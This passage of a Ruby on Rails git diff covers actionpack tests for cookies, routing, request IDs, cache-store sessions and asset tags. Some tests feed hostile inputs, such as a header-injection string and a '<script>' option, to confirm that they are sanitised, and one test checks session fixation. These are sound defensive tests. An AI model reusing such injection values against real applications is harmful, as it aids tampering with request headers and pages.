!request.cookie_jar.key?(:foo) + assert !request.cookie_jar.has_key?("foo") + + request.cookie_jar[:foo] = :bar + assert request.cookie_jar.key?(:foo) + assert request.cookie_jar.has_key?("foo") + end + def test_setting_cookie get :authenticate assert_cookie_header "user_name=david; path=/" @@ -417,7 +442,7 @@ class CookiesTest < ActionController::TestCase assert_cookie_header "user_name=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT" end - + def test_cookies_hash_is_indifferent_access get :symbol_key assert_equal "david", cookies[:user_name] @@ -430,54 +455,95 @@ class CookiesTest < ActionController::TestCase def test_setting_request_cookies_is_indifferent_access - @request.cookies.clear - @request.cookies[:user_name] = "andrew" + cookies.clear + cookies[:user_name] = "andrew" get :string_key_mock - assert_equal "david", cookies[:user_name] + assert_equal "david", cookies['user_name'] - @request.cookies.clear - @request.cookies['user_name'] = "andrew" + cookies.clear + cookies['user_name'] = "andrew" get :symbol_key_mock - assert_equal "david", cookies['user_name'] + assert_equal "david", cookies[:user_name] end def test_cookies_retained_across_requests get :symbol_key - assert_equal "user_name=david; path=/", @response.headers["Set-Cookie"] + assert_cookie_header "user_name=david; path=/" assert_equal "david", cookies[:user_name] get :noop assert_nil @response.headers["Set-Cookie"] - assert_equal "user_name=david", @request.env['HTTP_COOKIE'] assert_equal "david", cookies[:user_name] get :noop assert_nil @response.headers["Set-Cookie"] - assert_equal "user_name=david", @request.env['HTTP_COOKIE'] assert_equal "david", cookies[:user_name] end def test_cookies_can_be_cleared get :symbol_key - assert_equal "user_name=david; path=/", @response.headers["Set-Cookie"] assert_equal "david", cookies[:user_name] - @request.cookies.clear + cookies.clear get :noop - assert_nil @response.headers["Set-Cookie"] - assert_nil @request.env['HTTP_COOKIE'] assert_nil cookies[:user_name] get :symbol_key - assert_equal "user_name=david; path=/", @response.headers["Set-Cookie"] assert_equal "david", cookies[:user_name] end - def test_cookies_are_escaped - @request.cookies[:user_ids] = '1;2' + def test_can_set_http_cookie_header + @request.env['HTTP_COOKIE'] = 'user_name=david' + get :noop + assert_equal 'david', cookies['user_name'] + assert_equal 'david', cookies[:user_name] + + get :noop + assert_equal 'david', cookies['user_name'] + assert_equal 'david', cookies[:user_name] + + @request.env['HTTP_COOKIE'] = 'user_name=andrew' + get :noop + assert_equal 'andrew', cookies['user_name'] + assert_equal 'andrew', cookies[:user_name] + end + + def test_can_set_request_cookies + @request.cookies['user_name'] = 'david' + get :noop + assert_equal 'david', cookies['user_name'] + assert_equal 'david', cookies[:user_name] + + get :noop + assert_equal 'david', cookies['user_name'] + assert_equal 'david', cookies[:user_name] + + @request.cookies[:user_name] = 'andrew' + get :noop + assert_equal 'andrew', cookies['user_name'] + assert_equal 'andrew', cookies[:user_name] + end + + def test_cookies_precedence_over_http_cookie + @request.env['HTTP_COOKIE'] = 'user_name=andrew' + get :authenticate + assert_equal 'david', cookies['user_name'] + assert_equal 'david', cookies[:user_name] + + get :noop + assert_equal 'david', cookies['user_name'] + assert_equal 'david', cookies[:user_name] + end + + def test_cookies_precedence_over_request_cookies + @request.cookies['user_name'] = 'andrew' + get :authenticate + assert_equal 'david', cookies['user_name'] + assert_equal 'david', cookies[:user_name] + get :noop - assert_equal "user_ids=1%3B2", @request.env['HTTP_COOKIE'] - assert_equal "1;2", cookies[:user_ids] + assert_equal 'david', cookies['user_name'] + assert_equal 'david', cookies[:user_name] end private diff --git a/actionpack/test/dispatch/mapper_test.rb b/actionpack/test/dispatch/mapper_test.rb index b6c08ffc33..d3465589c1 100644 --- a/actionpack/test/dispatch/mapper_test.rb +++ b/actionpack/test/dispatch/mapper_test.rb @@ -5,6 +5,7 @@ module ActionDispatch class MapperTest < ActiveSupport::TestCase class FakeSet attr_reader :routes + alias :set :routes def initialize @routes = [] @@ -35,6 +36,13 @@ module ActionDispatch Mapper.new FakeSet.new end + def test_mapping_requirements + options = { :controller => 'foo', :action => 'bar' } + m = Mapper::Mapping.new FakeSet.new, {}, '/store/:name(*rest)', options + _, _, requirements, _ = m.to_route + assert_equal(/.+?/, requirements[:rest]) + end + def test_map_slash fakeset = FakeSet.new mapper = Mapper.new fakeset @@ -83,6 +91,13 @@ module ActionDispatch assert_equal '/*path', fakeset.conditions.first[:path_info] assert_nil fakeset.requirements.first[:path] end + + def test_map_wildcard_with_format_true + fakeset = FakeSet.new + mapper = Mapper.new fakeset + mapper.match '/*path', :to => 'pages#show', :format => true + assert_equal '/*path.:format', fakeset.conditions.first[:path_info] + end end end end diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb index 11cf68fdb3..08fe2127b9 100644 --- a/actionpack/test/dispatch/mime_type_test.rb +++ b/actionpack/test/dispatch/mime_type_test.rb @@ -52,7 +52,7 @@ class MimeTypeTest < ActiveSupport::TestCase test "parse application with trailing star" do accept = "application/*" - expect = [Mime::HTML, Mime::JS, Mime::XML, Mime::RSS, Mime::ATOM, Mime::YAML, Mime::URL_ENCODED_FORM, Mime::JSON, Mime::PDF] + expect = [Mime::HTML, Mime::JS, Mime::XML, Mime::RSS, Mime::ATOM, Mime::YAML, Mime::URL_ENCODED_FORM, Mime::JSON, Mime::PDF, Mime::ZIP] parsed = Mime::Type.parse(accept) assert_equal expect, parsed end @@ -86,12 +86,12 @@ class MimeTypeTest < ActiveSupport::TestCase test "custom type" do begin - Mime::Type.register("image/gif", :gif) + Mime::Type.register("image/foo", :foo) assert_nothing_raised do - assert_equal Mime::GIF, Mime::SET.last + assert_equal Mime::FOO, Mime::SET.last end ensure - Mime::Type.unregister(:gif) + Mime::Type.unregister(:FOO) end end @@ -107,8 +107,10 @@ class MimeTypeTest < ActiveSupport::TestCase # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE types.delete_if { |type| !Mime.const_defined?(type.to_s.upcase) } + types.each do |type| mime = Mime.const_get(type.to_s.upcase) + assert mime.respond_to?("#{type}?"), "#{mime.inspect} does not respond to #{type}?" assert mime.send("#{type}?"), "#{mime.inspect} is not #{type}?" invalid_types = types - [type] invalid_types.delete(:html) if Mime::Type.html_types.include?(type) diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb index b28a058250..93eccaecbd 100644 --- a/actionpack/test/dispatch/prefix_generation_test.rb +++ b/actionpack/test/dispatch/prefix_generation_test.rb @@ -50,7 +50,9 @@ module TestGenerationPrefix scope "/:omg", :omg => "awesome" do mount BlogEngine => "/blog", :as => "blog_engine" end + match "/posts/:id", :to => "outside_engine_generating#post", :as => :post match "/generate", :to => "outside_engine_generating#index" + match "/polymorphic_path_for_app", :to => "outside_engine_generating#polymorphic_path_for_app" match "/polymorphic_path_for_engine", :to => "outside_engine_generating#polymorphic_path_for_engine" match "/polymorphic_with_url_for", :to => "outside_engine_generating#polymorphic_with_url_for" match "/conflicting_url", :to => "outside_engine_generating#conflicting" @@ -101,6 +103,7 @@ module TestGenerationPrefix class ::OutsideEngineGeneratingController < ActionController::Base include BlogEngine.routes.mounted_helpers + include RailsApplication.routes.url_helpers def index render :text => blog_engine.post_path(:id => 1) @@ -110,6 +113,10 @@ module TestGenerationPrefix render :text => blog_engine.polymorphic_path(Post.new) end + def polymorphic_path_for_app + render :text => polymorphic_path(Post.new) + end + def polymorphic_with_url_for render :text => blog_engine.url_for(Post.new) end @@ -201,6 +208,11 @@ module TestGenerationPrefix assert_equal "/awesome/blog/posts/1", last_response.body end + test "polymorphic_path_for_app" do + get "/polymorphic_path_for_app" + assert_equal "/posts/1", last_response.body + end + test "[APP] generating engine's url with url_for(@post)" do get "/polymorphic_with_url_for" assert_equal "http://example.org/awesome/blog/posts/1", last_response.body diff --git a/actionpack/test/dispatch/request_id_test.rb b/actionpack/test/dispatch/request_id_test.rb new file mode 100644 index 0000000000..b6e8b6c3ad --- /dev/null +++ b/actionpack/test/dispatch/request_id_test.rb @@ -0,0 +1,65 @@ +require 'abstract_unit' + +class RequestIdTest < ActiveSupport::TestCase + test "passing on the request id from the outside" do + assert_equal "external-uu-rid", stub_request('HTTP_X_REQUEST_ID' => 'external-uu-rid').uuid + end + + test "ensure that only alphanumeric uurids are accepted" do + assert_equal "X-Hacked-HeaderStuff", stub_request('HTTP_X_REQUEST_ID' => '; X-Hacked-Header: Stuff').uuid + end + + test "ensure that 255 char limit on the request id is being enforced" do + assert_equal "X" * 255, stub_request('HTTP_X_REQUEST_ID' => 'X' * 500).uuid + end + + test "generating a request id when none is supplied" do + assert_match(/\w+/, stub_request.uuid) + end + + private + + def stub_request(env = {}) + ActionDispatch::RequestId.new(lambda { |environment| [ 200, environment, [] ] }).call(env) + ActionDispatch::Request.new(env) + end +end + +class RequestIdResponseTest < ActionDispatch::IntegrationTest + class TestController < ActionController::Base + def index + head :ok + end + end + + test "request id is passed all the way to the response" do + with_test_route_set do + get '/' + assert_match(/\w+/, @response.headers["X-Request-Id"]) + end + end + + test "request id given on request is passed all the way to the response" do + with_test_route_set do + get '/', {}, 'HTTP_X_REQUEST_ID' => 'X' * 500 + assert_equal "X" * 255, @response.headers["X-Request-Id"] + end + end + + + private + + def with_test_route_set + with_routing do |set| + set.draw do + match '/', :to => ::RequestIdResponseTest::TestController.action(:index) + end + + @app = self.class.build_app(set) do |middleware| + middleware.use ActionDispatch::RequestId + end + + yield + end + end +end
\ No newline at end of file diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb index 25b1b4f745..a611252b31 100644 --- a/actionpack/test/dispatch/request_test.rb +++ b/actionpack/test/dispatch/request_test.rb @@ -15,6 +15,7 @@ class RequestTest < ActiveSupport::TestCase assert_equal 'http://www.example.com', url_for assert_equal 'http://api.example.com', url_for(:subdomain => 'api') + assert_equal 'http://example.com', url_for(:subdomain => false) assert_equal 'http://www.ror.com', url_for(:domain => 'ror.com') assert_equal 'http://api.ror.co.uk', url_for(:host => 'www.ror.co.uk', :subdomain => 'api', :tld_length => 2) assert_equal 'http://www.example.com:8080', url_for(:port => 8080) @@ -468,6 +469,12 @@ class RequestTest < ActiveSupport::TestCase assert request.formats.empty? end + test "formats with xhr request" do + request = stub_request 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest" + request.expects(:parameters).at_least_once.returns({}) + assert_equal [Mime::JS], request.formats + end + test "ignore_accept_header" do ActionDispatch::Request.ignore_accept_header = true diff --git a/actionpack/test/dispatch/response_body_is_proc_test.rb b/actionpack/test/dispatch/response_body_is_proc_test.rb deleted file mode 100644 index fd94832624..0000000000 --- a/actionpack/test/dispatch/response_body_is_proc_test.rb +++ /dev/null @@ -1,37 +0,0 @@ -require 'abstract_unit' - -class ResponseBodyIsProcTest < ActionDispatch::IntegrationTest - class TestController < ActionController::Base - def test - self.response_body = proc { |response, output| - output.write 'Hello' - } - end - end - - def test_simple_get - with_test_route_set do - assert_deprecated do - get '/test' - end - assert_response :success - assert_equal 'Hello', response.body - end - end - - private - - def with_test_route_set(options = {}) - with_routing do |set| - set.draw do - match ':action', :to => ::ResponseBodyIsProcTest::TestController - end - - @app = self.class.build_app(set) do |middleware| - middleware.delete "ActionDispatch::ShowExceptions" - end - - yield - end - end -end diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb index ba7506721f..cf22731823 100644 --- a/actionpack/test/dispatch/routing_test.rb +++ b/actionpack/test/dispatch/routing_test.rb @@ -339,6 +339,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest end scope '(:locale)', :locale => /en|pl/ do + get "registrations/new" resources :descriptions root :to => 'projects#index' end @@ -504,6 +505,12 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest match '/countries/:country/(*other)', :to => redirect{ |params, req| params[:other] ? "/countries/all/#{params[:other]}" : '/countries/all' } match '/:locale/*file.:format', :to => 'files#show', :file => /path\/to\/existing\/file/ + + scope '/italians' do + match '/writers', :to => 'italians#writers', :constraints => ::TestRoutingMapper::IpRestrictor + match '/sculptors', :to => 'italians#sculptors' + match '/painters/:painter', :to => 'italians#painters', :constraints => {:painter => /michelangelo/} + end end end @@ -845,6 +852,29 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest end end + # tests the use of dup in url_for + def test_url_for_with_no_side_effects + # without dup, additional (and possibly unwanted) values will be present in the options (eg. :host) + original_options = {:controller => 'projects', :action => 'status'} + options = original_options.dup + + url_for options + + # verify that the options passed in have not changed from the original ones + assert_equal original_options, options + end + + # tests the arguments modification free version of define_hash_access + def test_named_route_with_no_side_effects + original_options = { :host => 'test.host' } + options = original_options.dup + + profile_customer_url("customer_model", options) + + # verify that the options passed in have not changed from the original ones + assert_equal original_options, options + end + def test_projects_status with_test_routes do assert_equal '/projects/status', url_for(:controller => 'projects', :action => 'status', :only_path => true) @@ -1442,6 +1472,16 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest end end + def test_nested_optional_path_shorthand + with_test_routes do + get '/registrations/new' + assert @request.params[:locale].nil? + + get '/en/registrations/new' + assert 'en', @request.params[:locale] + end + end + def test_default_params with_test_routes do get '/inline_pages' @@ -2229,6 +2269,20 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest verify_redirect 'http://www.example.com/countries/all/cities' end + def test_constraints_block_not_carried_to_following_routes + get '/italians/writers' + assert_equal 'Not Found', @response.body + + get '/italians/sculptors' + assert_equal 'italians#sculptors', @response.body + + get '/italians/painters/botticelli' + assert_equal 'Not Found', @response.body + + get '/italians/painters/michelangelo' + assert_equal 'italians#painters', @response.body + end + def test_custom_resource_actions_defined_using_string get '/customers/inactive' assert_equal 'customers#inactive', @response.body @@ -2474,3 +2528,40 @@ class TestHttpMethods < ActionDispatch::IntegrationTest end end end + +class TestUriPathEscaping < ActionDispatch::IntegrationTest + Routes = ActionDispatch::Routing::RouteSet.new.tap do |app| + app.draw do + match '/:segment' => lambda { |env| + path_params = env['action_dispatch.request.path_parameters'] + [200, { 'Content-Type' => 'text/plain' }, [path_params[:segment]]] + }, :as => :segment + + match '/*splat' => lambda { |env| + path_params = env['action_dispatch.request.path_parameters'] + [200, { 'Content-Type' => 'text/plain' }, [path_params[:splat]]] + }, :as => :splat + end + end + + include Routes.url_helpers + def app; Routes end + + test 'escapes generated path segment' do + assert_equal '/a%20b/c+d', segment_path(:segment => 'a b/c+d') + end + + test 'unescapes recognized path segment' do + get '/a%20b%2Fc+d' + assert_equal 'a b/c+d', @response.body + end + + test 'escapes generated path splat' do + assert_equal '/a%20b/c+d', splat_path(:splat => 'a b/c+d') + end + + test 'unescapes recognized path splat' do + get '/a%20b/c+d' + assert_equal 'a b/c+d', @response.body + end +end diff --git a/actionpack/test/dispatch/session/cache_store_test.rb b/actionpack/test/dispatch/session/cache_store_test.rb new file mode 100644 index 0000000000..73e056de23 --- /dev/null +++ b/actionpack/test/dispatch/session/cache_store_test.rb @@ -0,0 +1,181 @@ +require 'abstract_unit' + +class CacheStoreTest < ActionDispatch::IntegrationTest + class TestController < ActionController::Base + def no_session_access + head :ok + end + + def set_session_value + session[:foo] = "bar" + head :ok + end + + def set_serialized_session_value + session[:foo] = SessionAutoloadTest::Foo.new + head :ok + end + + def get_session_value + render :text => "foo: #{session[:foo].inspect}" + end + + def get_session_id + render :text => "#{request.session_options[:id]}" + end + + def call_reset_session + session[:bar] + reset_session + session[:bar] = "baz" + head :ok + end + + def rescue_action(e) raise end + end + + def test_setting_and_getting_session_value + with_test_route_set do + get '/set_session_value' + assert_response :success + assert cookies['_session_id'] + + get '/get_session_value' + assert_response :success + assert_equal 'foo: "bar"', response.body + end + end + + def test_getting_nil_session_value + with_test_route_set do + get '/get_session_value' + assert_response :success + assert_equal 'foo: nil', response.body + end + end + + def test_getting_session_value_after_session_reset + with_test_route_set do + get '/set_session_value' + assert_response :success + assert cookies['_session_id'] + session_cookie = cookies.send(:hash_for)['_session_id'] + + get '/call_reset_session' + assert_response :success + assert_not_equal [], headers['Set-Cookie'] + + cookies << session_cookie # replace our new session_id with our old, pre-reset session_id + + get '/get_session_value' + assert_response :success + assert_equal 'foo: nil', response.body, "data for this session should have been obliterated from cache" + end + end + + def test_getting_from_nonexistent_session + with_test_route_set do + get '/get_session_value' + assert_response :success + assert_equal 'foo: nil', response.body + assert_nil cookies['_session_id'], "should only create session on write, not read" + end + end + + def test_setting_session_value_after_session_reset + with_test_route_set do + get '/set_session_value' + assert_response :success + assert cookies['_session_id'] + session_id = cookies['_session_id'] + + get '/call_reset_session' + assert_response :success + assert_not_equal [], headers['Set-Cookie'] + + get '/get_session_value' + assert_response :success + assert_equal 'foo: nil', response.body + + get '/get_session_id' + assert_response :success + assert_not_equal session_id, response.body + end + end + + def test_getting_session_id + with_test_route_set do + get '/set_session_value' + assert_response :success + assert cookies['_session_id'] + session_id = cookies['_session_id'] + + get '/get_session_id' + assert_response :success + assert_equal session_id, response.body, "should be able to read session id without accessing the session hash" + end + end + + def test_deserializes_unloaded_class + with_test_route_set do + with_autoload_path "session_autoload_test" do + get '/set_serialized_session_value' + assert_response :success + assert cookies['_session_id'] + end + with_autoload_path "session_autoload_test" do + get '/get_session_id' + assert_response :success + end + with_autoload_path "session_autoload_test" do + get '/get_session_value' + assert_response :success + assert_equal 'foo: #<SessionAutoloadTest::Foo bar:"baz">', response.body, "should auto-load unloaded class" + end + end + end + + def test_doesnt_write_session_cookie_if_session_id_is_already_exists + with_test_route_set do + get '/set_session_value' + assert_response :success + assert cookies['_session_id'] + + get '/get_session_value' + assert_response :success + assert_equal nil, headers['Set-Cookie'], "should not resend the cookie again if session_id cookie is already exists" + end + end + + def test_prevents_session_fixation + with_test_route_set do + get '/get_session_value' + assert_response :success + assert_equal 'foo: nil', response.body + session_id = cookies['_session_id'] + + reset! + + get '/set_session_value', :_session_id => session_id + assert_response :success + assert_not_equal session_id, cookies['_session_id'] + end + end + + private + def with_test_route_set + with_routing do |set| + set.draw do + match ':action', :to => ::CacheStoreTest::TestController + end + + @app = self.class.build_app(set) do |middleware| + cache = ActiveSupport::Cache::MemoryStore.new + middleware.use ActionDispatch::Session::CacheStore, :key => '_session_id', :cache => cache + middleware.delete "ActionDispatch::ShowExceptions" + end + + yield + end + end +end diff --git a/actionpack/test/dispatch/session/cookie_store_test.rb b/actionpack/test/dispatch/session/cookie_store_test.rb index b0efbcef4a..92df6967d6 100644 --- a/actionpack/test/dispatch/session/cookie_store_test.rb +++ b/actionpack/test/dispatch/session/cookie_store_test.rb @@ -5,8 +5,8 @@ class CookieStoreTest < ActionDispatch::IntegrationTest SessionKey = '_myapp_session' SessionSecret = 'b3c631c314c0bbca50c1b2843150fe33' - Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, 'SHA1') - SignedBar = Verifier.generate(:foo => "bar", :session_id => ActiveSupport::SecureRandom.hex(16)) + Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, :digest => 'SHA1') + SignedBar = Verifier.generate(:foo => "bar", :session_id => SecureRandom.hex(16)) class TestController < ActionController::Base def no_session_access diff --git a/actionpack/test/dispatch/session/test_session_test.rb b/actionpack/test/dispatch/session/test_session_test.rb index 31ce97a25b..904398f563 100644 --- a/actionpack/test/dispatch/session/test_session_test.rb +++ b/actionpack/test/dispatch/session/test_session_test.rb @@ -29,7 +29,6 @@ class ActionController::TestSessionTest < ActiveSupport::TestCase end def test_clear_emptys_session - params = {:one => 'one', :two => 'two'} session = ActionController::TestSession.new({:one => 'one', :two => 'two'}) session.clear assert_nil(session[:one]) diff --git a/actionpack/test/dispatch/test_request_test.rb b/actionpack/test/dispatch/test_request_test.rb index 81a8c24525..4ee1d61146 100644 --- a/actionpack/test/dispatch/test_request_test.rb +++ b/actionpack/test/dispatch/test_request_test.rb @@ -34,12 +34,29 @@ class TestRequestTest < ActiveSupport::TestCase assert_equal({}, req.cookies) assert_equal nil, req.env["HTTP_COOKIE"] - req.cookies["user_name"] = "david" - assert_equal({"user_name" => "david"}, req.cookies) - assert_equal "user_name=david", req.env["HTTP_COOKIE"] + req.cookie_jar["user_name"] = "david" + assert_cookies({"user_name" => "david"}, req.cookie_jar) - req.cookies["login"] = "XJ-122" - assert_equal({"user_name" => "david", "login" => "XJ-122"}, req.cookies) - assert_equal %w(login=XJ-122 user_name=david), req.env["HTTP_COOKIE"].split(/; /).sort + req.cookie_jar["login"] = "XJ-122" + assert_cookies({"user_name" => "david", "login" => "XJ-122"}, req.cookie_jar) + + assert_nothing_raised do + req.cookie_jar["login"] = nil + assert_cookies({"user_name" => "david", "login" => nil}, req.cookie_jar) + end + + req.cookie_jar.delete(:login) + assert_cookies({"user_name" => "david"}, req.cookie_jar) + + req.cookie_jar.clear + assert_cookies({}, req.cookie_jar) + + req.cookie_jar.update(:user_name => "david") + assert_cookies({"user_name" => "david"}, req.cookie_jar) end + + private + def assert_cookies(expected, cookie_jar) + assert_equal(expected, cookie_jar.instance_variable_get("@cookies")) + end end diff --git a/actionpack/test/dispatch/uploaded_file_test.rb b/actionpack/test/dispatch/uploaded_file_test.rb index e2a7f1bad7..7e4a1519fb 100644 --- a/actionpack/test/dispatch/uploaded_file_test.rb +++ b/actionpack/test/dispatch/uploaded_file_test.rb @@ -12,6 +12,13 @@ module ActionDispatch uf = Http::UploadedFile.new(:filename => 'foo', :tempfile => Object.new) assert_equal 'foo', uf.original_filename end + + if "ruby".encoding_aware? + def test_filename_should_be_in_utf_8 + uf = Http::UploadedFile.new(:filename => 'foo', :tempfile => Object.new) + assert_equal "UTF-8", uf.original_filename.encoding.to_s + end + end def test_content_type uf = Http::UploadedFile.new(:type => 'foo', :tempfile => Object.new) diff --git a/actionpack/test/fixtures/comments/empty.de.html.erb b/actionpack/test/fixtures/comments/empty.de.html.erb new file mode 100644 index 0000000000..cffd90dd26 --- /dev/null +++ b/actionpack/test/fixtures/comments/empty.de.html.erb @@ -0,0 +1 @@ +<h1>Kein Kommentar</h1>
\ No newline at end of file diff --git a/actionpack/test/fixtures/comments/empty.html.builder b/actionpack/test/fixtures/comments/empty.html.builder new file mode 100644 index 0000000000..2b0c7207a3 --- /dev/null +++ b/actionpack/test/fixtures/comments/empty.html.builder @@ -0,0 +1 @@ +xml.h1 'No Comment'
\ No newline at end of file diff --git a/actionpack/test/fixtures/comments/empty.html.erb b/actionpack/test/fixtures/comments/empty.html.erb new file mode 100644 index 0000000000..827f3861de --- /dev/null +++ b/actionpack/test/fixtures/comments/empty.html.erb @@ -0,0 +1 @@ +<h1>No Comment</h1>
\ No newline at end of file diff --git a/actionpack/test/fixtures/comments/empty.xml.erb b/actionpack/test/fixtures/comments/empty.xml.erb new file mode 100644 index 0000000000..db1027cd7d --- /dev/null +++ b/actionpack/test/fixtures/comments/empty.xml.erb @@ -0,0 +1 @@ +<error>No Comment</error>
\ No newline at end of file diff --git a/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb b/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb index c479adb897..fa5e6bd318 100644 --- a/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb +++ b/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb @@ -1,2 +1,3 @@ Hello <%= cache do %>This bit's fragment cached<% end %> +<%= 'Ciao' %> diff --git a/actionpack/test/fixtures/respond_with/using_resource.js.erb b/actionpack/test/fixtures/respond_with/using_resource.js.erb new file mode 100644 index 0000000000..4417680bce --- /dev/null +++ b/actionpack/test/fixtures/respond_with/using_resource.js.erb @@ -0,0 +1 @@ +alert("Hi");
\ No newline at end of file diff --git a/actionpack/test/fixtures/sprockets/alternate/stylesheets/style.css b/actionpack/test/fixtures/sprockets/alternate/stylesheets/style.css new file mode 100644 index 0000000000..bfb90bfa48 --- /dev/null +++ b/actionpack/test/fixtures/sprockets/alternate/stylesheets/style.css @@ -0,0 +1 @@ +/* Different from other style.css */
\ No newline at end of file diff --git a/actionpack/test/fixtures/sprockets/app/javascripts/application.js b/actionpack/test/fixtures/sprockets/app/javascripts/application.js index e69de29bb2..e611d2b129 100644 --- a/actionpack/test/fixtures/sprockets/app/javascripts/application.js +++ b/actionpack/test/fixtures/sprockets/app/javascripts/application.js @@ -0,0 +1 @@ +//= require xmlhr diff --git a/actionpack/test/fixtures/sprockets/app/javascripts/extra.js b/actionpack/test/fixtures/sprockets/app/javascripts/extra.js new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/actionpack/test/fixtures/sprockets/app/javascripts/extra.js diff --git a/actionpack/test/fixtures/sprockets/app/stylesheets/application.css b/actionpack/test/fixtures/sprockets/app/stylesheets/application.css index e69de29bb2..2365eaa4cd 100644 --- a/actionpack/test/fixtures/sprockets/app/stylesheets/application.css +++ b/actionpack/test/fixtures/sprockets/app/stylesheets/application.css @@ -0,0 +1 @@ +/*= require style */ diff --git a/actionpack/test/fixtures/sprockets/app/stylesheets/extra.css b/actionpack/test/fixtures/sprockets/app/stylesheets/extra.css new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/actionpack/test/fixtures/sprockets/app/stylesheets/extra.css diff --git a/actionpack/test/fixtures/test/_200.html.erb b/actionpack/test/fixtures/test/_200.html.erb new file mode 100644 index 0000000000..c9f45675dc --- /dev/null +++ b/actionpack/test/fixtures/test/_200.html.erb @@ -0,0 +1 @@ +<h1>Invalid partial</h1> diff --git a/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb b/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb index 5db0822f07..820e7db789 100644 --- a/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb +++ b/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb @@ -1,4 +1,4 @@ Before -<%= render :partial => "test/partial.html.erb" %> +<%= render :partial => "test/partial" %> <%= yield %> After diff --git a/actionpack/test/fixtures/test/deprecated_nested_layout.erb b/actionpack/test/fixtures/test/deprecated_nested_layout.erb deleted file mode 100644 index 7b6dcbb6c7..0000000000 --- a/actionpack/test/fixtures/test/deprecated_nested_layout.erb +++ /dev/null @@ -1,3 +0,0 @@ -<% content_for :title, "title" -%> -<% content_for :column do -%>column<% end -%> -<% render :layout => 'layouts/column' do -%>content<% end -%>
\ No newline at end of file diff --git a/actionpack/test/fixtures/test/hello,world.erb b/actionpack/test/fixtures/test/hello,world.erb new file mode 100644 index 0000000000..bc8fa5e0ca --- /dev/null +++ b/actionpack/test/fixtures/test/hello,world.erb @@ -0,0 +1 @@ +Hello w*rld!
\ No newline at end of file diff --git a/actionpack/test/lib/controller/fake_models.rb b/actionpack/test/lib/controller/fake_models.rb index 67baf369e2..363403092b 100644 --- a/actionpack/test/lib/controller/fake_models.rb +++ b/actionpack/test/lib/controller/fake_models.rb @@ -48,26 +48,19 @@ module Quiz end end -class Post < Struct.new(:title, :author_name, :body, :secret, :written_on, :cost) +class Post < Struct.new(:title, :author_name, :body, :secret, :persisted, :written_on, :cost) extend ActiveModel::Naming include ActiveModel::Conversion extend ActiveModel::Translation alias_method :secret?, :secret + alias_method :persisted?, :persisted def initialize(*args) super @persisted = false end - def persisted=(boolean) - @persisted = boolean - end - - def persisted? - @persisted - end - attr_accessor :author def author_attributes=(attributes); end @@ -170,6 +163,17 @@ class Author < Comment def post_attributes=(attributes); end end +class HashBackedAuthor < Hash + extend ActiveModel::Naming + include ActiveModel::Conversion + + def persisted?; false; end + + def name + "hash backed author" + end +end + module Blog def self._railtie self diff --git a/actionpack/test/template/asset_tag_helper_test.rb b/actionpack/test/template/asset_tag_helper_test.rb index 2abc806e97..aa7304b3ed 100644 --- a/actionpack/test/template/asset_tag_helper_test.rb +++ b/actionpack/test/template/asset_tag_helper_test.rb @@ -1,3 +1,4 @@ +require 'zlib' require 'abstract_unit' require 'active_support/ordered_options' @@ -365,6 +366,10 @@ class AssetTagHelperTest < ActionView::TestCase assert stylesheet_link_tag('dir/other/file', 'dir/file2').html_safe? end + def test_stylesheet_link_tag_escapes_options + assert_dom_equal %(<link href="/file.css" media="<script>" rel="stylesheet" type="text/css" />), stylesheet_link_tag('/file', :media => '<script>') + end + def test_custom_stylesheet_expansions ENV["RAILS_ASSET_ID"] = '' ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :robbery => ["bank", "robber"] @@ -424,6 +429,14 @@ class AssetTagHelperTest < ActionView::TestCase PathToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) } end + def test_image_alt + [nil, '/', '/foo/bar/', 'foo/bar/'].each do |prefix| + assert_equal 'Rails', image_alt("#{prefix}rails.png") + assert_equal 'Rails', image_alt("#{prefix}rails-9c0a079bdd7701d7e729bd956823d153.png") + assert_equal 'Avatar-0000', image_alt("#{prefix}avatar-0000.png") + end + end + def test_image_tag ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) } end @@ -434,7 +447,7 @@ class AssetTagHelperTest < ActionView::TestCase def test_image_tag_windows_behaviour old_asset_id, ENV["RAILS_ASSET_ID"] = ENV["RAILS_ASSET_ID"], "1" - # This simulates the behaviour of File#exist? on windows when testing a file ending in "." + # This simulates the behavior of File#exist? on windows when testing a file ending in "." # If the file "rails.png" exists, windows will return true when asked if "rails.png." exists (notice trailing ".") # OS X, linux etc will return false in this case. File.stubs(:exist?).with('template/../fixtures/public/images/rails.png.').returns(true) @@ -472,7 +485,7 @@ class AssetTagHelperTest < ActionView::TestCase end def test_timebased_asset_id - expected_time = File.stat(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).mtime.to_i.to_s + expected_time = File.mtime(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).to_i.to_s assert_equal %(<img alt="Rails" src="/images/rails.png?#{expected_time}" />), image_tag("rails.png") end @@ -503,7 +516,7 @@ class AssetTagHelperTest < ActionView::TestCase def test_timebased_asset_id_with_relative_url_root @controller.config.relative_url_root = "/collaboration/hieraki" - expected_time = 